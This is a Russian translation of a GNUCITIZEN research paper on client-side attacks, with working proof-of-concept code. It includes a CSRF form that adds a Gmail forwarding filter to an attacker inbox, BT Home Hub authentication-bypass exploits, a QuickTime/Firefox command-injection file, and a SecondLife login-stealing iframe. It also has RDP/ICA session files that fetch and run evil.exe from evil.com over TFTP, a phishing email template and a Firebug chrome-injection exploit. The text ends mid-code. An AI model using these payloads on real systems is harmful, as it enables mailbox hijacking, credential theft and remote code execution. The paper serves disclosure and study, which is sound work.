В данной статье описаны многочисленные методы атак на технологии клиентской стороны. Приведенные в работе результаты основаны на исследованиях, выполненных за последний год хакерами из GNUCITIZEN Ethical Hacker Outfit.
Petko D. Petkov (PDP), GNUCITIZEN
АННОТАЦИЯ
Под программным обеспечением клиентской стороны обычно понимают класс компьютерных программ, которые исполняются на стороне клиента, а не на сервере. Клиенты и серверы находятся в постоянном взаимодействии. В web-окружении клиентом является пользовательский web-браузер, а сервером – удаленный компьютер, обслуживающий изменяемое содержимое. В более широком смысле взаимодействие клиент-сервер может быть представлено в виде работы сетевого клиента, подключенного к WiFi-сети.
В данной статье описаны многочисленные методы атак на технологии клиентской стороны. Приведенные в работе результаты основаны на исследованиях, выполненных за последний год хакерами из GNUCITIZEN Ethical Hacker Outfit.
АВТОР
Petko D. Petkov, он же PDP, – основатель и главный активист группы по выявлению современных проблем компьютерной безопасности GNUCITIZEN. Это известнейший исследователь, практикующий тестирование систем путем взлома, соавтор многочисленных книг-бестселлеров, популярных блогов и Интернет-журналов. Также PDP известен многим как редактор web-журнала Hakiri – Hacker Lifestyle.
GNUCITIZEN
GNUCITIZEN – это группа участников, занимающихся исследованием современных проблем компьютерной безопасности. Результаты, полученные GNUCITIZEN, публикуются в различных авторитетных изданиях и на информационных порталах, таких как Wired, Eweek, The Register, PC Week, IDG, BBC и др. Участники проекта GNUCITIZEN – известные и уважаемые специалисты в области информационной безопасности и «черного» PR’а, имеющие огромный опыт работы в государственных и частных компаниях, а также в сообществе разработчиков программ с открытым кодом.
КЛИЕНТЫ И СЕРВЕРЫ
Так как клиенты и серверы взаимосвязаны друг с другом, модель безопасности часто разделяется между ними. Проще говоря, клиенты и серверы составляют симбиоз. Безопасность сервера часто зависит от безопасности отдельных клиентов, и в то же время безопасность клиента зависит от безопасности серверов, с которыми он взаимодействует.
Хотя проблемы безопасности клиентской стороны не столь критичны, как проблемы с безопасностью сервера, они служат средством для проведения более масштабных и изощренных атак, а также предоставляют злоумышленникам возможности для проникновения в надежно защищенные компьютерные системы. В данной статье мы рассмотрим многочисленные виды атак на клиентского программного обеспечения и проанализируем то, как эти атаки сказываются на уровне защиты стороны сервера.
АТАКИ CSRF И ПРОБЛЕМЫ СИНХРОНИЗАЦИИ ДАННЫХ
Межсайтовая подмена запроса (Cross-Site Request Forgery, CSRF) хоть и похожа по названию на межсайтовое выполнение сценариев (Cross-Site Scripting, XSS), но представляет собой совершенно иной, если не сказать противоположный, тип атак. Если атаки типа XSS базируются на доверии web-сайта к пользователю, то атаки CSRF используют доверие пользователя к web-сайту путем подделки запросов от доверенного пользователя. Такие атаки менее распространены (а значит, нам доступно меньше данных для их исследования), от них труднее защититься, чем от XSS-атак, так как они не столь известны, а значит, CSRF-атаки представляют для информационных систем бОльшую угрозу.
МЕТОДИКА КРАЖИ ДАННЫХ С GMAIL
Рассмотрим следующую последовательность скриншотов.
Рисунок 1: Пользователь входит в систему GMail
Рисунок 2: Пользователь посещает вредоносный сайт
Рисунок 3: Вредоносный сайт добавляет свой бэкдор (backdoor)
Жертва посещает web-страницу после входа в свой аккаунт на GMail. Страница выполняет операцию multicast/form-data POST над мобильным интерфейсом GMail и добавляет свой фильтр в список фильтров жертвы. Этот фильтр осуществляет поиск писем, подходящих под заданное описание, и пересылает их на указанный злоумышленником электронный почтовый ящик. Обратите внимание на то, что в дальнейшем входящие письма также будут пересылаться по этому адресу. Утечка будет продолжаться до тех пор, пока добавленный фильтр будет находиться в списке фильтров жертвы, даже если компания Google устранит уязвимость, позволившую злоумышленникам этот фильтр добавить.
Следующая URL-строка демонстрирует, каким образом может быть осуществлена атака, использующая инструмент пересылки CSRF-запросов, размещенный на GNUCITIZEN:
http://www.gnucitizen.org/util/csrf? _method=POST&_enctype=multipart/form-data&_action=https%3A//mail.google.com/mail/h/ewt1jmuj4ddv/%3Fv%3Dprf&cf2_emc=true&cf2_email=evilinbox@mailinator.com&cf1_from&cf1_to&cf1_subj&cf1_has&cf1_hasnot&cf1_attach=true&tfi&s=z&irf=on&nvp_bu_cftb=Create%20Filter
Сценарий /util/csrf преобразует поля GET в запросе ROST следующим образом:
<html>
<body>
<form name="form" method="POST" enctype="multipart/form-data"
action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf">
<input type="hidden" name="cf2_emc" value="true"/>
<input type="hidden" name="cf2_email"
value="evilinbox@mailinator.com"/>
<input type="hidden" name="cf1_from" value=""/>
<input type="hidden" name="cf1_to" value=""/>
<input type="hidden" name="cf1_subj" value=""/>
<input type="hidden" name="cf1_has" value=""/><input type="hidden"
name="cf1_hasnot" value=""/>
<input type="hidden" name="cf1_attach" value="true"/>
<input type="hidden" name="tfi" value=""/>
<input type="hidden" name="s" value="z"/>
<input type="hidden" name="irf" value="on"/>
<input type="hidden" name="nvp_bu_cftb" value="Create Filter"/>
</form>
<script>form.submit()</script>
</body>
</html>
Как только пользователь посетит вредоносный сайт, который реализует приведенный выше эксплойт, код сценария JavaScript автоматически выдаст подтверждение для динамически генерируемой формы, что и завершит выполнение CSRF-атаки.
К сожалению, данный CSRF-эксплойт уже был успешно использован злоумышленниками. 15 декабря 2007 года было украдено имя первичного рабочего домена известного художника и разработчика логотипов Дэвида Эйри (David Airey). Злоумышленник использовал описанную методику кражи данных с GMail, получив постоянный скрытый доступ к почтовому ящику и возможность перехвата электронной переписки между Эйри и его провайдером доменного имени. Злоумышленник смог не только подделывать электронные письма, но и читать ответы на них, и обманным путем заставил провайдера отключить домен, чтобы его можно было перенести на другой хостинг-сервер.
Хотя атака была успешно осуществлена, домен все же был возвращен законному владельцу после того, как об инциденте стало известно нескольким печатным и Интернет-изданиям. Этот случай наглядно показал, какую опасность таят в себе CSRF-атаки.
ВЗЛОМ МАРШРУТИЗАТОРА BT HOME HUB
Ниже приведено полное описание уязвимостей, об обнаружении которых GNUCITIZEN сообщили в BT (BID 25972) после проведения исследований маршрутизатора Home Hub. Все описанные уязвимости и коды Proof of Concept (POC) были протестированы на встроенном ПО версии 6.2.2.6.
Эксплойт 1: Разрешение удаленного обслуживания
Данный эксплойт показывает, как подделать запрос «разрешить удаленное обслуживание», используя уязвимость, позволяющую обойти процесс аутентификации, которая была обнаружена нами во встроенном ПО маршрутизатора. Такой запрос пройдет даже в случае, если жертва изменит пароль. После успешного выполнения вредоносного кода злоумышленнику по электронной почте или другим способом будет передан URL (IP-адрес), необходимый для получения удаленного контроля над Home Hub.
В приведенном ниже фрагменте программного кода злоумышленник изменяет учетные данные пользователя на tech:12345678. Обратите внимание на двойную косую черту в атрибуте action, которая позволяет обойти аутентификацию. Ниже приведен POC-код для данного эксплойта:
<html>
<!– ras.html –>
<head></head>
<body>
<form name=’raccess’ action=’http://192.168.1.254/cgi/b/ras//?
ce=1&be=1&l0=5&l1=5′ method=’post’>
<input type=’hidden’ name=’0′ value=’31’>
<input type=’hidden’ name=’1′ value=”>
<input type=’hidden’ name=’30’ value=’12345678′>
<!– <input type=’submit’ value="own it!"> –>
</form>
<script>document.raccess.submit();</script>
</body>
</html>
Эксплойт 2: Запрет беспроводных соединений
Приведенный ниже POC-код приводит к постоянному отключению WiFi-маршрутизатора до тех пор, пока этот запрет не будет отменен вручную. Для того чтобы заново включить интерфейс WiFi, пользователь должен либо восстановить настройки маршрутизатора по умолчанию, либо вернуть настройки, установив соединение с Home Hub через интерфейс Ethernet.
<html>
<body>
<!– disable_wifi_interface.html –>
<!–
POST /cgi/b/_wli_/cfg/?ce=1&be=1&l0=4&l1=0&name= HTTP/1.1
0=10&1=&32=&33=&34=2&35=1&45=11&47=1
–>
<form action="http://192.168.1.254/cgi/b/_wli_/cfg//" method="post">
<input type="hidden" name="0" value="10">
<input type="hidden" name="1" value="">
<input type="hidden" name="32" value="">
<input type="hidden" name="33" value="">
<input type="hidden" name="34" value="2">
<input type="hidden" name="35" value="1">
<input type="hidden" name="45" value="11">
<input type="hidden" name="47" value="1">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
Эксплойт 3: Звонки за счет жертвы
Когда жертва посещает вредоносный сайт, злоумышленник может заставить ее браузер отправить HTTP-запрос на web-интерфейс BT Home Hub. После этого Home Hub устанавливает VoIP-соединение с телефонным номером, указанным на странице эксплойта.
Такая атака выглядит следующим образом: VoIP-телефон жертвы начинает звонить и выводит сообщение о входящем вызове рядом с телефонным номером, указанным злоумышленником. При этом жертве кажется, что он/она принимает звонок с номера, отображенного на экране, в то время как на самом деле именно он/она звонит на этот номер!
POST http://api.home/cgi/b/_voip_/stats//?ce=1&be=0&l0=-1&l1=-1&name=
0=30&1=00390669893461
АТАКИ МЕЖСАЙТОВОЙ ПЕРЕСЫЛКИ ФАЙЛОВ
Когда дело доходит до создания средств по пересылке файлов на удаленные компьютеры, разработчики часто забывают выполнить проверку на CSRF-уязвимости, полагая (в большинстве случаев обоснованно), что такую пересылку невозможно подделать. Однако, рассмотрев вопросы безопасности в Web-технологиях, исследователи могут столкнуться с неприятными неожиданностями. Причина, по которой невозможно выполнить CSRF-атаку на удаленную пересылку файлов, кроется в том, что спецификации HTML FORM не настолько гибки, чтобы позволить определять при отправке файлов такие подполя как filename=”whatever.txt”, являющиеся частью спецификации multipart/form-data. Тем не менее, оказалось, что злоумышленники могут с легкостью преодолеть это ограничение, воспользовавшись возможностями Flash.
Flash является небольшим, но очень гибким инструментом (мы убедимся в этом дальше, рассматривая возможности использования локальных UPnP-сервисов через Web). Сейчас мы предлагаем посмотреть, как схожая методика может быть использована для атаки на средства удаленной пересылки файлов. Рассмотрим следующий Flex-код:
<mx:Application xmlns:mx="http://www.adobe.com/2006/mxml"
creationComplete="onAppInit()">
<mx:Script>
/* by Petko D. Petkov; pdp
* GNUCITIZEN
**/
import flash.net.*;
private function onAppInit():void
{
var r:URLRequest = new
URLRequest(‘http://victim.com/upload.php’);
r.method = ‘POST’;
r.data =
unescape(‘—————————–109092118919201%0D%0AContent-
Disposition%3A form-data%3B name%3D%22file%22%3B filename%3D%22gc.txt
%22%0D%0AContent-Type%3A text%2Fplain%0D%0A%0D%0AHi from GNUCITIZEN
%21%0D%0A—————————–109092118919201%0D%0AContent-
Disposition%3A form-data%3B name%3D%22submit%22%0D%0A%0D%0ASubmit
Query%0D%0A—————————–109092118919201–%0A’);
r.contentType = ‘multipart/form-data;
boundary=—————————109092118919201′;
navigateToURL(r, ‘_self’);
}
</mx:Script>
</mx:Application>
Внимательно изучив приведенный сценарий, мы обнаружим, что в объект URLRequest помещен метод POST и URL-кодированный текст, а значение contentType совпадает с multipart/form-data. После расшифровки текста мы получим следующее содержимое (обратите внимание на поле filename=”gc.txt”):
—————————–109092118919201
Content-Disposition: form-data; name="file"; filename=”gc.txt”
Content-Type: text/plain
Hi from GNUCITIZEN!
—————————–109092118919201
Content-Disposition: form-data; name=”submit”
Submit Query
—————————–109092118919201–
Данный POC- код был протестирован на множестве устройств и web-приложений с возможностью удаленной пересылки файлов.
Как и все типы CSRF-атак, описанная методика предоставляет злоумышленнику широкие возможности по ее использованию. Ниже приведены наиболее интересные из них:
- Загрузка на атакуемый маршрутизатор нового встроенного ПО путем использования жертвы в качестве proxy. Это довольно неприятная, а учитывая разнообразие методов обхода аутентификации и A-to-C багов, – и легко осуществимая атака.
- Загрузка на атакуемый маршрутизатор нового конфигурационного файла. Так же, как и в предыдущем случае, выполнить эту атаку очень просто.
- Загрузка исполняемых сценариев на удаленные web-приложения. Вероятность выполнения этой атаки зависит от наличия возможности загрузки исполняемых сценариев, но если злоумышленник твердо решил атаковать определенный сайт, почти наверняка окажется, что правами на выполнение критических операций, таких как подключение программных модулей и загрузка уязвимых файлов, обладает web-мастер. Таким образом, осуществление атаки типа межсайтовой пересылки файлов становится возможным и, более того, весьма вероятным.
Как сообщается, kuza55 обнаружил схожую уязвимость в Firefox, IE и Safary (в Opera такой проблемы нет). Ниже приведен написанный им программный код:
<form method="post" action="http://kuza55.awardspace.com/files.php"
enctype="multipart/form-data">
<textarea name=’file"; filename="filename.ext
Content-Type: text/plain; ‘>Arbitrary File
Contents</textarea>
<input type="submit" value=’Send "File"’ />
</form>
В данном фрагменте кода используется то, что упомянутые браузеры не удаляют из форм заключенную в них информацию, которая затем используется как часть запроса на удаленную пересылку.
АТАКИ ФИКСАЦИИ КОМАНДЫ/ОБОЛОЧКИ
Атаками фиксации команды/оболочки называются ситуации, когда злоумышленник формирует специальную строку команды/оболочки, которая затем выполняется ничего неподозревающей жертвой. Этот тип уязвимостей обычно бывает связан с багами в программе, но существуют некоторые случаи, когда такие уязвимости являются просто следствием недоработок при проектировании. Баги, позволяющие осуществить атаку фиксации команды/оболочки, приводят к крайне негативным последствиям для компьютера пользователя.
QUICKTIME КОМПРОМЕТИРУЕТ FIREFOX
QuickTime представляет собой довольно гибкую медиаплатформу с широким спектром функций. К сожалению, гибкость QuickTime приводит к возможности исполнения вредоносного содержимого медиафайлов (например, mp3, mp4, m4a и др.), представленного в виде сценария JavaScript.
Проблемы возникают из-за одного очень удобного средства – QuickTime Media Link (.qtl). Файлы QuickTime Media Link предназначены для более эффективного воспроизведения медиафайлов. Так, разработчик может создать QTL-файл, содержащий информацию о его содержимом, подлежащем проигрыванию, рекомендуемом разрешении, уровне доступности, особенностях управления и пр.
Файлы QuickTime Media Link пишутся на XML и имеют расширение .qtl. Вот как выглядит QTL-файл:
<?xml version="1.0">
<?quicktime type="application/x-quicktime-media-link"?>
<embed src="Sample.mov" autoplay="true"/>
Наиболее важный элемент в этом XML-коде называется embed. В данном элементе содержится описание контента, подлежащего проигрыванию. Элемент embed может иметь несколько атрибутов, например, scr и autoplay, но самый интересный среди них – атрибут qtnext. Значение этого атрибута определяет, какое содержимое должно быть воспроизведено следующим. Так как в качестве входного значения атрибут qtnext получает URL-адрес, QTL-файлы оказываются способными открывать HTML-страницы, локальные файлы, FTP-сайты и коды JavaScript в браузере по умолчанию. Ниже приведен пример QTL-файла, вызывающего функцию JavaScript:
<?xml version="1.0">
<?quicktime type="application/x-quicktime-media-link"?>
<embed src="presentation.mov" autoplay="true"
qtnext="javascript:alert(‘backdoored’)"/>
При выполнении данного кода пользователю будет выдано безобидное сообщение. Однако помните, что здесь можно осуществить гораздо более опасные операции, такие как выполнение кода в контексте chrome в Firefox, что будет показано ниже.
Уязвимость обнаружена в том, как QuickTime открывает URL-адреса. Как только внешний видео-файл загружен, плеер QuickTime должен открыть в браузере по умолчанию содержимое по URL-адресу qtnext. Однако переход по URL-адрес осуществляется некорректно, поэтому у злоумышленника появляется возможность добавить вредоносный код в строку, передаваемую затем на вход функции ShellExecute, которая обрабатывает большинство URL-операций под Windows. Приведенный ниже POC-код показывает, как злоумышленник может запустить приложение calc.exe с помощью простого QTL-файла, что в первую очередь компрометирует среду Firefox chrome. Не забывайте о том, что данная уязвимость может привести и к полному захвату браузера Firefox и всей операционной системы:
<?xml version="1.0">
<?quicktime type="application/x-quicktime-media-link"?>
<embed src="a.mp3" autoplay="true" qtnext="-chrome
javascript:file=Components.classes[‘@mozilla.org/file/local;
1′].createInstance(Components.interfaces.nsILocalFile);file.initWithPa
th(‘c:\windows\system32\calc.exe’);process=Components.classes[‘@moz
illa.org/process/util;
1′].createInstance(Components.interfaces.nsIProcess);process.init(file
);process.run(true,[],0);void(0);"/>
QTL-файлы могут скрываться и под следующими расширениями: 3g2, 3gp, 3gp2, 3gpp, AMR, aac, adts, aif, aifc, aiff, amc, au, avi, bwf, caf, cdda, cel, flc, fli, gsm, m15, m1a, m1s, m1v, m2a, m4a, m4b, m4p, m4v, m75, mac, mov, mp2, mp3, mp4, mpa, mpeg, mpg, mpm, mpv, mqv, pct, pic, pict, png, pnt, pntg, qcp, qt, qti, qtif, rgb, rts, rtsp, sdp, sdv, sgi, snd, ulw, vfw, wav.
IE КОМПРОМЕТИРУЕТ SECONDLIFE
Злоумышленники могут похитить учетную запись SecondLife (а значит, виртуальную личность) жертвы, обманом заставив ее посетить вредоносный сайт. Ниже приведен программный код эксплойта:
<iframe src=’secondlife://" -autologin -loginuri
"http://evil.com/sl/record-login.php’></iframe>
Как только жертва заходит на вредоносный сайт, запускается клиент SecondLife, который пытается автоматически войти в систему (- autoplugin) с помощью интерфейса CGI, размещенного на http://evil.com/sl/record-login.php. Такая ситуация возникает из-за того, что IE некорректно обрабатывает одинарные и двойные кавычки, полностью перекладывая ответственность за это на клиент, связанный с URL-обработчиком secondlife. В свою очередь, клиент SecondLife также не выполняет необходимую проверку и может ошибочно обработать дополнительную строку параметров. Как только клиент начнет свою работу, будет сгенерирован следующий запрос к вредоносному CGI-коду (запрос представляет собой просто вызов XMLRPC):
[HTTP_RAW_POST_DATA] => <methodCall>
<methodName>login_to_simulator</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>first</name>
<value>
<string>Elm</string>
</value>
</member>
<member>
<name>last</name>
<value>
<string>Blanco</string>
</value>
</member>
<member>
<name>passwd</name>
<value>
<string>$1$[ MD5-хеш пароля]</string>
</value>
</member>
<member>
<name>start</name>
<value>
<string>last</string>
</value>
</member>
<member>
<name>version</name>
<value>
<string>1.18.2.0</string>
</value>
</member>
<member>
<name>channel</name>
<value>
<string>Second Life Release</string>
</value>
</member>
<member>
<name>platform</name>
<value>
<string>Win</string>
</value>
</member>
…
…
…
</methodCall>
Обратите внимание на строку [MD5-хеш пароля]. Здесь мы получаем пароль пользователя. В целях безопасности пароль преобразуется с помощью алгоритма хеширования MD5; применение таких мер защиты, разумеется, похвально, но оказывается бесполезным с учетом того, что злоумышленники располагают множеством таблиц, позволяющих вскрывать пароли, преобразованные с помощью необратимой хеш-функции без использования случайных битов (так называемой «соли»).
Однако не забывайте, что злоумышленникам может и вовсе не понадобиться преобразовывать хеш в исходную строку пароля, ведь существует возможность входа в систему с использованием самого хеша путем подделки запроса к одному из серверов аутентификации SecondLife, например, в ходе атаки типа «повторная передача». Расшифрованный пароль может понадобиться только в том случае, если злоумышленник захочет воспользоваться еще какой-либо онлайн-службой, в котором зарегистрирована жертва, и где он/она использует тот же пароль.
Ниже приведена общая последовательность действий, демонстрирующая использование данной уязвимости:
1. Устанавливаем Apache с PHP.
2. Помещаем следующий код сценария в файл login.php:
<?php
ob_start();
print_r($GLOBALS);
error_log(ob_get_contents(), 0);
ob_end_clean();
?>
3. Дописываем –f в файл журнала регистрации ошибок PHP.
4. Создаем страницу со следующим HTML-телом:
<iframe src=’secondlife://" -autologin -loginuri
"http://localhost/login.php’></iframe>
5. Открываем страницу в Internet Explorer (можно воспользоваться и IE6, и IE7).
6. После того, как клиенту SecondLife не удастся войти в систему, мы получим запись в журнале регистрации ошибок PHP, содержащую учетные данные жертвы и другую полезную информацию.
Атака осуществляется автоматически и не требует какого-либо участия пользователя или взаимодействия с ним.
АТАКИ ФИКСАЦИИ КОМАНД CITRIX/RDP
Атака такого типа осуществляется по довольно простому сценарию. Для того чтобы раскрыть конфиденциальные данные о пользователе, злоумышленнику нужно составить специальный файл RDP (для Windows Terminal Services) или ICA (для CITRIX) и отправить его для аутентификации. Жертву убеждают открыть файл. После установления соединения пользователь вводит свои данные для входа в систему и таким образом открывает двери злоумышленнику.
Как RDP, так и ICA-файлы содержат информацию не только о том, с каким сервером следует соединиться, но и о том, какие приложения следует запустить после успешной аутентификации. Злоумышленник может изменить эти параметры в своих целях. В CITRIX злоумышленник может определить интерпретатор командной строки по умолчанию, используя параметр Application (в примере Application=calc.exe). В службе Windows Terminal Services это реализуется с помощью инструкции alternate shell (в примере alternate shell:s:cmd.exe). Ниже приведен пример такого ICA-файла:
[WFClient]
Version=1
[ApplicationServers]
Connection To Citrix Server=
[Connection To Citrix Server]
InitialProgram= некоторая команда
Address=172.16.3.191
ScreenPercent=0
Аналог для Windows Terminal Services:
screen mode id:i:1
desktopwidth:i:800
desktopheight:i:600
session bpp:i:16
full address:s:172.16.3.191
compression:i:1
keyboardhook:i:2
alternate shell:s: некоторая команда
shell working directory:s:C:
bitmapcachepersistenable:i:1
Рассмотрим алгоритм проведения атаки более подробно:
1. Создание вредоносного файла сессии работы с удаленным рабочим столом:
В приведенном ниже примере устанавливается соединение с сайтом evil.com по TFTP и осуществляется поиск файла evil.exe. После загрузки этого файла запускается evil.exe и затем сессия завершается.
screen mode id:i:1
desktopwidth:i:800
desktopheight:i:600
session bpp:i:16
full address:s:172.16.3.191
compression:i:1
keyboardhook:i:2
alternate shell:s:cmd.exe /C “tftp -i evil.com GET evil.exe
evil.exe & evil.exe”
shell working directory:s:C:
bitmapcachepersistenable:i:1
2. Отправка жертве электронного письма:
Теперь злоумышленник должен продемонстрировать свои навыки в социальной инженерии и убедить жертву открыть и аутентифицировать файл сессии. Вот пример того, как может выглядеть подобное письмо:
Привет, Джон!
Это Тим из отдела технической поддержки. Мне сообщили, что у тебя возникли проблемы с управлением удаленным рабочим столом. Высылаю исправленный файл RDP, который ты можешь использовать. Открой его двойным щелчком мыши и введи логин и пароль (доменные учетные данные) и все заработает. Пиши, если возникнут какие-то проблемы.
Тим О’Брайан
Отдел Технической Поддержки
3. Получение данных:
Злоумышленник видит, что в его/ее файлы журнала TFTP были внесены изменения – атака прошла успешно. Теперь можно заняться извлечением выгоды из полученной информации.
То, что файлы ICA могут незаметно для пользователя исполняться в фоновом режиме в то время, когда жертва открывает вредоносный сайт в браузере Internet Explorer (любой версии), никак не меняет ситуацию. В процессе установки ICA-клиент настраивает специальные регистрационные записи Windows MIME-типа и связывает open action RDP-файлов с клиентом. Таким образом, приведенный ниже HTML-код успешно запустит исполнение ICA-файла, даже не требуя получения от пользователя разрешения на это действие:
<iframe src="http://evil.com/path/to/evil.ica"></iframe>
Необходимо также отметить, что ICA-клиент поставляется вместе с контроллером сценариев ActiveX, который, как заявлено, безопасен для написания сценариев. Это означает, что внешний сайт может включить этот контроллер в свои страницы без авторизации пользователя. Контроллер может быть запрограммирован на автоматическое определение ближайших серверов CITRIX и установление соединения с ними с помощью механизма сквозной проверки подлинности. При сквозной проверке подлинности для аутентификации на сервере CITRIX используются текущие NT-учетные данные жертвы. Таким образом, злоумышленник получает возможность выполнять команды как текущий пользователь в окружении сервера CITRIX без какого-либо взаимодействия с жертвой.
Вспомним, что для осуществления автоматического поиска ближайших серверов CITRIX на клиенте должен быть установлен пакет ПО CITRIX Neighborhood. В процесс автоматического ввода регистрационного имени будут включены все серверы, зарегистрированные в этой локальной сети. Однако даже если в сети клиента не зарегистрировано ни одного сервера CITRIX, или на клиенте вообще не установлен пакет CITRIX Neighborhood, злоумышленники могут просто перебрать наиболее распространенные имена CITRIX-северов, такие как CITRIX01, CITRIX02 и т.п., через контроллер клиента ICA ActiveX и найти таким образом какой-нибудь сервер для внедрения своих команд.
Приведенный ниже код демонстрирует осуществление атаки фиксации команд на CITRIX с помощью механизма сквозной проверки подлинности на соседнем сервере.
[WFClient]
Version=1
[ApplicationServers]
Connection To Citrix Server=
[Connection To Citrix Server]
AutoLogonAllowed=On
UseLocalUserAndPassword=On
InitialProgram=cmd.exe /C "tftp -i evil.com GET evil.exe evil.exe &
evil.exe"
ScreenPercent=0
CITRIX auto-start
ВЫПОЛНЕНИЕ В КОНТЕКСТЕ CHROME
Атаками выполнения/захвата chrome называют ситуации, когда непривилегированный код исполняется в привилегированном контексте узла. В Firefox этот контекст называется chrome, а в Internet Explorer – локальной зоной (Local Zone).
FIREBUG СТАНОВИТСЯ ОПАСНЫМ
Firebug содержит довольно простую, но опасную уязвимость. Эта уязвимость относится к типу «межзонное выполнение сценариев» (Cross-zone scripting) или «межконтекстное выполнение сценариев» (Cross-context scripting): сценарий с web-страниц внедряется либо в зону браузера, именуемую chrome, либо в зону файла – протокол. В любом случае это приводит к серьезным негативным последствиям, хотя последняя ситуация менее критична, нежели первая.
Исполнение внешних сценариев в браузере ограничивается механизмом защиты «песочница». Это означает, что все строки с префиксами http: и https: защищены и являются недоверенными. Расширения браузера используют протокол chrome:. На этот протокол не накладывается никаких ограничений и в его рамках разрешается все. Таким образом, расширения браузера считаются надежными. Однако если некоторый удаленный сценарий каким-то образом заставит браузер выполнить определенные выражения JavaScript внутри chrome:, то этот сценарий сможет получить управление всем контекстом chrome, а также соответствующей операционной системой, так как для него будет разрешено выполнение любых команд и процедур доступа к файлам.
Для того чтобы провести атаку типа «передача сценария в зону» на Firebug, злоумышленникам необходимо сделать следующее:
console.log({‘<script>alert("bing!")</script>’:’exploit’})
Если это выражение JavaScript будет выполнено на странице при запущенном Firebug, на экран жертвы будет выведено окно предупредительного сообщения. Однако помните о том, что код JavaScript внедряется в исходный контекст chrome:. Злоумышленник с легкостью может добавить в контекст chrome браузера описанную ниже функцию и получить таким образом возможность запускать любой исполняемый файл неизвестного происхождения:
function runFile(f) {
var file = Components.classes["@mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile);
file.initWithPath(f);
var process = Components.classes["@mozilla.org/process/util;
1"]
.createInstance(Components.interfaces.nsIProcess);
process.init(file);
var argv = Array.prototype.slice.call(arguments, 1);
process.run(true, argv, argv.length);
}
Функция runFile разрешает исполнение файлов. Используя эту функцию в контексте chrome браузера, злоумышленники могут в любой момент вызвать файл console.log для запуска исполнения любого файла или даже незаметно установить новые расширения браузера, не говоря уже о том, что они смогут читать и изменять системные файлы. Возможности для осуществления злонамеренных действий здесь практически безграничны.
Однако для выполнения такой атаки существуют и некоторые препятствия. Вектор атаки типа «межконтекстное выполнение сценариев» очень узок. Для того чтобы использовать описанную уязвимость, необходимо реализовать такие сложные механизмы, как динамическое формирование строки вредоносного содержимого и последующее исполнение этой строки в контексте chrome.
Приведенный ниже экспойт более детально демонстрирует возможности использования описанной уязвимости:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html;
charset=iso-8859-1" />
<title>Firebug Exploiter</title>
<link rel="stylesheet"
href="http://www.gnucitizen.org/wordpress/wpcontent/
themes/gnucitizen.org/styles/screen.css" type="text/css"/>
</head>
<body id="presentation">
<div id="header">
<h1>10</h1>
<p>countdown</p>
</div>
<div id="content">
<p>the malicious countdown</p>
<script>
// inject the payload in Firebug’s chrome context
console.log({‘<script>vars=[]</script>’: ‘payload’});
console.log({‘<script>s.push("functionrunFi")</script>’: ‘payload’});
console.log({‘<script>s.push("le(f){var file")</script>’: ‘payload’});
console.log({‘<script>s.push("=Components.cl")</script>’: ‘payload’});
console.log({‘<script>s.push("asses[\"@mozil")</script>’: ‘payload’});
console.log({‘<script>s.push("la.org/file/lo")</script>’: ‘payload’});
console.log({‘<script>s.push("cal;1\"].creat")</script>’: ‘payload’});
console.log({‘<script>s.push("eInstance(Comp")</script>’: ‘payload’});
console.log({‘<script>s.push("onents.interfa")</script>’: ‘payload’});
console.log({‘<script>s.push("ces.nsILocalFi")</script>’: ‘payload’});
console.log({‘<script>s.push("le);file.initW")</script>’: ‘payload’});
console.log({‘<script>s.push("ithPath(f);var")</script>’: ‘payload’});
console.log({‘<script>s.push("process=Compo")</script>’: ‘payload’});
console.log({‘<script>s.push("nents.classes[")</script>’: ‘payload’});
console.log({‘<script>s.push("\"@mozilla.org")</script>’: ‘payload’});
console.log({‘<script>s.push("/process/util;")</script>’: ‘payload’});
console.log({‘<script>s.push("1\"].createIns")</script>’: ‘payload’});
console.log({‘<script>s.push("tance(Componen")</script>’: ‘payload’});
console.log({‘<script>s.push("ts.interfaces.")</script>’: ‘payload’});
console.log({‘<script>s.push("nsIProcess);pr")</script>’: ‘payload’});
console.log({‘<script>s.push("ocess.init(fil")</script>’: ‘payload’});
console.log({‘<script>s.push("e);var argv=Ar")</script>’: ‘payload’});
console.log({‘<script>s.push("ray.prototype.")</script>’: ‘payload’});
console.log({‘<script>s.push("slice.call(arg")</script>’: ‘payload’});
console.log({‘<script>s.push("uments,1);proc")</script>’: ‘payload’});
console.log({‘<script>s.push("ess.run(true,a")</script>’: ‘payload’});
console.log({‘<script>s.push("rgv,argv.lengt")</script>’: ‘payload’});
console.log({‘<script>s.push("h)}")</script>’: ‘payload’});
// evaluate the payload
console.log({‘<script>eval(s.join(""))
</script>’: ‘eval payload’});
// declare our process execution function
function execute (p) {
var p = p.replace(/\/g,
‘\\’);
console.log({‘<script>var
p=[]</script>’: ‘execute’});
for (var i = 0; i < p.length;
i += 14) {
var mal_obj = {};
mal_obj[‘<script>p.pus
h("’ + p.substring(i, i + 14) + ‘")</script>’] = ‘execute’;
console.log(mal_obj);
}
console.log({‘<script>runFile(
p.join(""))</script>’: ‘execute’});
}
// counter
var count = 10;
// count down
var timer =
window.setInterval(function () {
count -= 1;
document.getElementsByTagName(
‘h1’)[0].innerHTML = count;
if (count == 8)
document.getElementsBy
TagName(‘p’)[0].innerHTML = ‘get ready!’;
if (count == 5)
document.getElementsBy
TagName(‘p’)[0].innerHTML = ‘almost there!’;
if (count == 2)
document.getElementsBy
TagName(‘p’)[0].innerHTML = ‘… and …’;
if (count == -1) {
document.getElementsBy
TagName(‘h1’)[0].innerHTML = 0;
document.getElementsBy
TagName(‘p’)[0].innerHTML = ‘shabang!’;
execute(‘c:\windows\
system32\calc.exe’);
window.clearInterval(t
imer);
}
}, 1000);
</script>
</div>
<div id="footer">
<p>(<a rel="license"
href="http://creativecommons.org/licenses/by-nc-nd/2.5/">CC</a>)2006
<a href="http://www.gnucitizen.org">GNUCITIZEN</a></p>
</div>
<!– <rdf:RDF xmlns="http://web.resource.org/cc/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<Work rdf:about="">
<license
rdf:resource="http://creativecommons.org/licenses/by-nc-nd/2.5/" />
<dc:title>GNUCITIZEN</dc:title>
<dc:date>2006</dc:date>
